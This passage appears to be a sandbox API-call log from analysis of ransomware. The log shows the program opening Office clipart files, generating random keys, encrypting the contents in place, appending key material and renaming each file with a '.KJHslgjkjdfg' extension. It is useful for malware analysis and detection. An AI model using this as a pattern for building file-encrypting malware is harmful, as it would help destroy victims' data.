cAlternateFileName="")) returned 1 [0198.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.011] GetProcessHeap () returned 0x2ef0000 [0198.011] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.011] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.011] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0198.016] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.016] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.016] GetProcessHeap () returned 0x2ef0000 [0198.016] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.016] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.016] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.016] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.016] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.016] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.016] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.017] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.017] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.017] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.017] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd42, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd42, lpOverlapped=0x0) returned 1 [0198.017] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd50, dwBufLen=0xd50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd50) returned 1 [0198.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.017] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd50, lpOverlapped=0x0) returned 1 [0198.017] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.018] SetEndOfFile (hFile=0x130) returned 1 [0198.020] GetProcessHeap () returned 0x2ef0000 [0198.020] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.020] GetProcessHeap () returned 0x2ef0000 [0198.020] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.kjhslgjkjdfg")) returned 1 [0198.021] CloseHandle (hObject=0x130) returned 1 [0198.022] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1 [0198.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.022] GetProcessHeap () returned 0x2ef0000 [0198.022] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.023] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.023] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0198.027] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.027] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.027] GetProcessHeap () returned 0x2ef0000 [0198.027] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.027] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.027] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.027] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.027] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.028] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.028] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.028] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.028] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.028] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.028] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4ae, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4ae, lpOverlapped=0x0) returned 1 [0198.028] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b0, dwBufLen=0x4b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b0) returned 1 [0198.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.028] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4b0, lpOverlapped=0x0) returned 1 [0198.028] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.028] SetEndOfFile (hFile=0x130) returned 1 [0198.031] GetProcessHeap () returned 0x2ef0000 [0198.031] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.031] GetProcessHeap () returned 0x2ef0000 [0198.031] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.kjhslgjkjdfg")) returned 1 [0198.032] CloseHandle (hObject=0x130) returned 1 [0198.032] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1 [0198.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.033] GetProcessHeap () returned 0x2ef0000 [0198.033] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.033] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.033] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.033] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.033] GetProcessHeap () returned 0x2ef0000 [0198.033] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.033] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.033] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.034] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.040] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.040] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.041] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.041] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.041] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.041] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.041] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf00, lpOverlapped=0x0) returned 1 [0198.041] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf00, dwBufLen=0xf00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf00) returned 1 [0198.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.041] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf00, lpOverlapped=0x0) returned 1 [0198.041] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.041] SetEndOfFile (hFile=0x130) returned 1 [0198.043] GetProcessHeap () returned 0x2ef0000 [0198.043] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.043] GetProcessHeap () returned 0x2ef0000 [0198.043] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.kjhslgjkjdfg")) returned 1 [0198.044] CloseHandle (hObject=0x130) returned 1 [0198.044] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1 [0198.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.047] GetProcessHeap () returned 0x2ef0000 [0198.047] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.047] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.047] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0198.050] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.050] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.050] GetProcessHeap () returned 0x2ef0000 [0198.051] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.051] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.051] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.051] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.051] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.051] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.051] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.051] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.051] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1352, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1352, lpOverlapped=0x0) returned 1 [0198.053] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1360, dwBufLen=0x1360 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1360) returned 1 [0198.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.053] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1360, lpOverlapped=0x0) returned 1 [0198.053] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.053] SetEndOfFile (hFile=0x130) returned 1 [0198.056] GetProcessHeap () returned 0x2ef0000 [0198.056] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.056] GetProcessHeap () returned 0x2ef0000 [0198.056] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.kjhslgjkjdfg")) returned 1 [0198.058] CloseHandle (hObject=0x130) returned 1 [0198.058] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1 [0198.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.059] GetProcessHeap () returned 0x2ef0000 [0198.059] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.059] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.059] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0198.062] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.062] CryptSetKeyParam (hKey=0x2f182c8, 